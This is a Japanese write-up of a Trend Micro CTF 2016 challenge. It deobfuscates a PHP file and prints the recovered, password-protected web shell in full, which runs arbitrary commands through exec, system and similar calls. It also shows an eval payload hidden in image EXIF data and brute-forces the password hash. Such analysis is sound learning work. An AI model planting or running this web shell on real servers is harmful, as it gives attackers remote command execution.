遅ればせながら,Trend Micro CTF 2016で解いた問題のwrite-upを書いてみます.
手を付けた問題
手を付けた問題は3つです.
- Analysis - defensive 100
- Forensic 100
- Scada 100
どれも100点問題です...
その内フラグ獲得までいけたのは,Analysis-defensive 100のみでした.ですので,この問題についてwrite-upを書いてみようと思います.
Analysis - defensive 100
問題文
Decode me!
file5.enc(渡される問題ファイル)
アプローチ
TMCTFでは問題ファイルが暗号化されて渡されるので,以下のコマンドで復号します.
$ openssl enc -d -aes-256-cbc -k xUiKT4GX6QyZQ23xYtBA -in files5.enc -out files5.zip $ unzip file5.zip
すると,decodeme_decodeme.php というphpファイルが出てきます.
難読化解除
中身を見ると,難読化されたphpコードが出てきます.とりあえずそのままで読み取れる部分を読むと,eval(gzinflate(base64_decode($x)))という部分があります.$xが難読化されたphpコードで,base64_decode -> gzinflate で難読化を解除していることが分かります.つまりこれを実行してやれば良いです.evalをprintに書き換えて,実際にphpを動かすのが良いと思います.(なお私は,本番中は何故かツールでデコードしました -> eval gzinflate base64_decode PHP Decoder)
整形&画像データデコード
難読化を解除すると,以下のようなphpファイルになります.見にくかったのと,長すぎて載せにくかったのでちょっと見やすくしてます.本来はもっとぐちゃってます.
また,見やすくする前はbase64エンコードされたデータがありましたが,それは画像データでした.このphpファイルには7つの画像データが含まれていました.base64のままだと見づらいので画像データに戻してあります.
<?php // reference: https://github.com/b374k/b374k/blob/master/LICENSE.md $GLOBALS['key'] = "6c7f4d49729e58d7a458999b570e0151bc034ca7"; $func="create_function"; function chk_password() { if (!isset($GLOBALS['key'])) { die(); } if (trim($GLOBALS['key']) == '') { die(); } $glob = $GLOBALS['key']; $post = ''; $cook = ''; if (isset($_POST['key'])) { $post = $_POST['key']; } if (isset($_COOKIE['key'])) { $cook = $_COOKIE['key']; } if ($cook == $glob) { return; } if ($post != '') { $key = sha1(md5($post)); if ($key == $glob) { setcookie("key", $key, time() + 36000, "/"); $qstr = (isset($_SERVER["QUERY_STRING"]) && (!empty($_SERVER["QUERY_STRING"]))) ? "?" . $_SERVER["QUERY_STRING"] : ""; header("Location: " . htmlspecialchars($_SERVER["REQUEST_URI"] . $qstr, 2 | 1)); $cook = $_COOKIE['key']; } } $output = "<html><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8'><meta http-equiv='Content-Language' content='en-us'><title>decodeme</title><style type='text/css'><!-- body{ background-color:darkred; color:white; } hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; } --> </style></head><body> <br><br> <form method='post'> <center> <input type='password' id='key' name='key'> <p>enter ****</p> </center> </form> </body></html>"; echo $output; die(); } chk_password(); ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta http-equiv="Content-Language" content="en-us"> <title>decodeme</title> <style type="text/css"> <!--body{ background-color:darkred; color:white; }hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; }--> </style> </head> <body> <img src="image/png/top.png" alt="top" /> <p>7h15 15 51mpl3 w3b5h3ll. 1npu7 y0ur cmd h3r3.</p> <!-- this is simple webshell input your cmd here --> <hr> <?php function myshellexec($cmd) { $result = ""; if (!empty($cmd)) { //呼べるシェル実行関数をどれかしら呼ぶ if (is_callable("exec")) { exec($cmd, $result); $result = join("\n", $result); } elseif (is_callable("shell_exec")) { $result = shell_exec($cmd); } elseif (is_callable("system")) { @ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (is_callable("passthru")) { @ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (($result = ` $cmd`) !== false) { } elseif (is_resource($fp = popen($cmd, "r"))) { $result = ""; while (!feof($fp)) { $result.= fread($fp, 1024); }goha pclose($fp); } } return $result; } function _3x3c_637v3r510n($cmd) { $result = ""; if (!empty($cmd)) { if ($cmd == "getversion") { $result="TMCTF webshell v1.0 beta betta"; } } return $result; } function _3x3c_wh04u7h0r($cmd){ $result="" ; if (!empty($cmd)) { if ($cmd=="whoauthor" ){ $result="web shell cooker" ; } } return $result; } function _3x3c_buyl1c3n53($cmd){ $result="" ; if (!empty($cmd)) { if ($cmd=="buylicense" ){ $result="paid $100000000000000000000000000 :-)" ; } } return $result; } function _3x3c_5h0wl0ck($cmd){ $result="" ; if (!empty($cmd)) { if ($cmd=="showlock" ){ $result="show lock" ; } } return $result; }function _3x3c_5h0w5upp0r7($cmd){ $result="" ; if (!empty($cmd)) { if ($cmd=="showsupport" ){ $result="call +99-99999-9999-999-99-99-9-99-9-999--99-99--9-9" ; } } return $result; } function _3x3c_5h0wc0n74c7($cmd){ $result="" ; if (!empty($cmd)) { if ($cmd=="showcontact" ){ $result="contact xxxxxxxxxyyyyyyyyzzzzzzz@trendmicro" ; } } return $result; } if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd=( $_REQUEST['cmd']); echo myshellexec($cmd); echo _3x3c_637v3r510n($cmd); echo _3x3c_wh04u7h0r($cmd); echo _3x3c_buyl1c3n53($cmd); echo _3x3c_5h0wl0ck($cmd); echo _3x3c_5h0w5upp0r7($cmd); echo _3x3c_5h0wc0n74c7($cmd); echo "</pre>"; } ?> <!-- 本当はbase64のデータを参照していた --> <img align="left" src="image/png/version.png" alt="figure" /> <br> <img align="left" src="image/png/author.png" alt="figure" /> <br> <img align="left" src="image/png/license.png" alt="figure" /> <br> <img align="left" src="image/png/lock.png" alt="figure" /> <br> <img align="left" src="image/png/support.png" alt="figure" /> <br> <img align="left" src="image/png/contact.png" alt="figure" /> <br> </body> </html>
コードを読む
実はこの問題,あまりちゃんとコードを読まなくても答えは分かります.そのため,ここでは解読に関係ありそうな部分だけを説明します.
コードを読む:github
どんな挙動をするphpなのか確認するためにコードを読みます.
まず気になるのが,2行目の
// reference: https://github.com/b374k/b374k/blob/master/LICENSE.md
の部分なので,github のサイトを見に行きます.どうやら,sshなどを使わず,webベースで認証を行いシェルが使えるようにするためのライブラリのようです.認証には初期パスワードが設定されています.これは運用時に自由に変更します.認証では,sha1(md5(password))の値を保持しておいて,ユーザの入力したpasswordが正しいか比較する,という処理を行うようです.
(ちなみに,これが一般的なライブラリなのかTMCTF用に作られたのかという議論があったのですが,old versionやラストコミットを見る限りそれは無いだろうとなりました.参照されているのがLICENSE.mdだし.)
コードを読む:一つ目の画面
肝心の部分を読んでいきます.htmlコードも含まれているので,単体で動作しそうです.私はxamppで動作させて確認しました.どうやら大きく分けて二つの画面が存在するようです.一つ目は認証の画面,二つ目は認証後成功後の画面です.まずは一つ目の認証画面について見てみます.
38行目で呼び出しているchk_passwordで認証処理を行っているようです.本体は5行目からですね.ここで行っていることを簡単に説明すると,
- passwordを入力して認証を行う
- sha1(md5(password))の値が$GLOBALS['key']に入っている文字列($globと同じ)
- $postがフォームから送信した値で,その値のmd5のsha1ハッシュが$globと等しければ認証成功
- 認証後はcookieに$globの値を入れる.cookieに$globの値がセットされていれば認証を飛ばせる
というような感じです.このパスワードのハッシュは使いそうです.
コードを読む:二つ目の画面
二つ目の画面は認証が完了した後の画面なのですが,色んなコマンドを実行できる以外にできることが無いです.デフォルトのシェルコマンド以外に任意のコマンドを作ったりもできるみたいです.どこかでこのサービスが動いているならいざ知らず,ローカルの環境しかないので特に意味が無いと思うのでスルーします.
画像のexifに気付く
実は,phpに含まれていた7つの画像にはexifが含まれていました.exif (Exchangeable image file format) とは,画像ファイルに付加できる情報です.その画像の撮影日時や撮影機種名などを付加できます.exifを見る方法としては,exifを確認するツールを利用する方法があります.
ただ,ツールによって情報が見えたり見えなかったりすることが稀にあるようです .そのため,一つのexif確認ツールで7枚の画像を確認したが,exifは確認できなかったということがあったようです.しかし,base64コードの時点で,lock.pngだけ他の画像のbase64とは異なる部分があり,こいつにだけはexif情報が含まれているのではないかという予想が付きます (それとstrings コマンドで見るとRaw profile type exifと出てきます).
lock.pngのexif情報を見るために,私はexiftoolというものを用いました(exeにパスを通してます).こちらでlock.pngのexifを確認すると,撮影機器の部分に付加情報が確認できます.
$ exiftool lock.png ExifTool Version Number : 10.24 File Name : lock.png Directory : . File Size : 2.3 kB File Modification Date/Time : 2016:07:30 06:27:16+01:00 File Access Date/Time : 2016:07:30 06:27:16+01:00 File Creation Date/Time : 2016:07:30 06:27:16+01:00 File Permissions : rw-rw-rw- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 71 Image Height : 114 Bit Depth : 8 Color Type : Palette Compression : Deflate/Inflate Filter : Adaptive Interlace : Adam7 Interlace Exif Byte Order : Little-endian (Intel, II) Make : /.*/e Camera Model Name : eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")); SRGB Rendering : Perceptual Gamma : 2.2 Palette : (Binary data 585 bytes, use -b option to extract) Transparency : (Binary data 195 bytes, use -b option to extract) Pixels Per Unit X : 5905 Pixels Per Unit Y : 5905 Pixel Units : meters Warning : [minor] Trailer data after PNG IEND chunk Image Size : 71x114 Megapixels : 0.008
Camera Model Nameの部分ですね.eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")); とあるので,デコードしてみます.
$ python Python 2.7.10 (default, Jun 1 2015, 18:17:45) [GCC 4.9.2] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> "ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7".decode("base64") "echo 'flag is sha1(password)';" >>>
これを見ると,パスワードのsha1がフラグだぜって書いてあります.このパスワードというのがおそらく,先ほどのphpの認証処理の部分に使われるパスワードのことです.そしてそのパスワードそのものについては分かっておらず,sha1(md5(password))の値のみ分かっています.
パスワード総当たり
フラグを求めるにはpasswordを知る必要があります.しかしsha1やmd5はハッシュ(一方向性関数)であるため,逆算は不可能です.不可能なので,Brute Force(総当たり)します.
def brute_force(rep): for x in product(string.printable, repeat=rep): x = "".join(x) if mysha1(mymd5(x)) == "6c7f4d49729e58d7a458999b570e0151bc034ca7": print x return True print "rep %s is nothing."%rep return False def main(): for i in xrange(10): if brute_force(i): return if __name__ == '__main__': main()
pythonでコードを書いても現実的な時間で求められます.結果的にはパスワードは4文字でした .
(気付いていませんでしたがログイン画面にて,enter **** のようにパスワードがアスタリスク4文字で表されていますので,文字数は分かっていたようです.)
$ python solver.py rep 1 is nothing. rep 2 is nothing. rep 3 is nothing. h4ck
パスワードはh4ckです.このsha1の値がフラグです.
>>> import hashlib >>> hashlib.sha1("h4ck").hexdigest() 'e17e98788d6b4ac922b2df100ef9398ae0f229ad' >>>
TMCTF{e17e98788d6b4ac922b2df100ef9398ae0f229ad}
まとめ
手順は以下になります.
- 難読化解除
- $globの値はsha1(md5(password))であることに気付く
- phpファイル内の画像データのexifからsha1(password)であることに気付く
- passwordをBrute forceで求める
未だにとりあえず総当たりするという癖がつかず,解くまでに時間がかかりました.低得点の問題に時間をかけないよう心掛けたいです.
余談
For100はメールからzip抽出までは行きましたが,Fall caesarの意味に気づきませんでした.頭が固いです(辞書試せば良かったという説もある...).
Scada100は最近答えを知って先輩と一緒に何とも言えない気持ちになりました.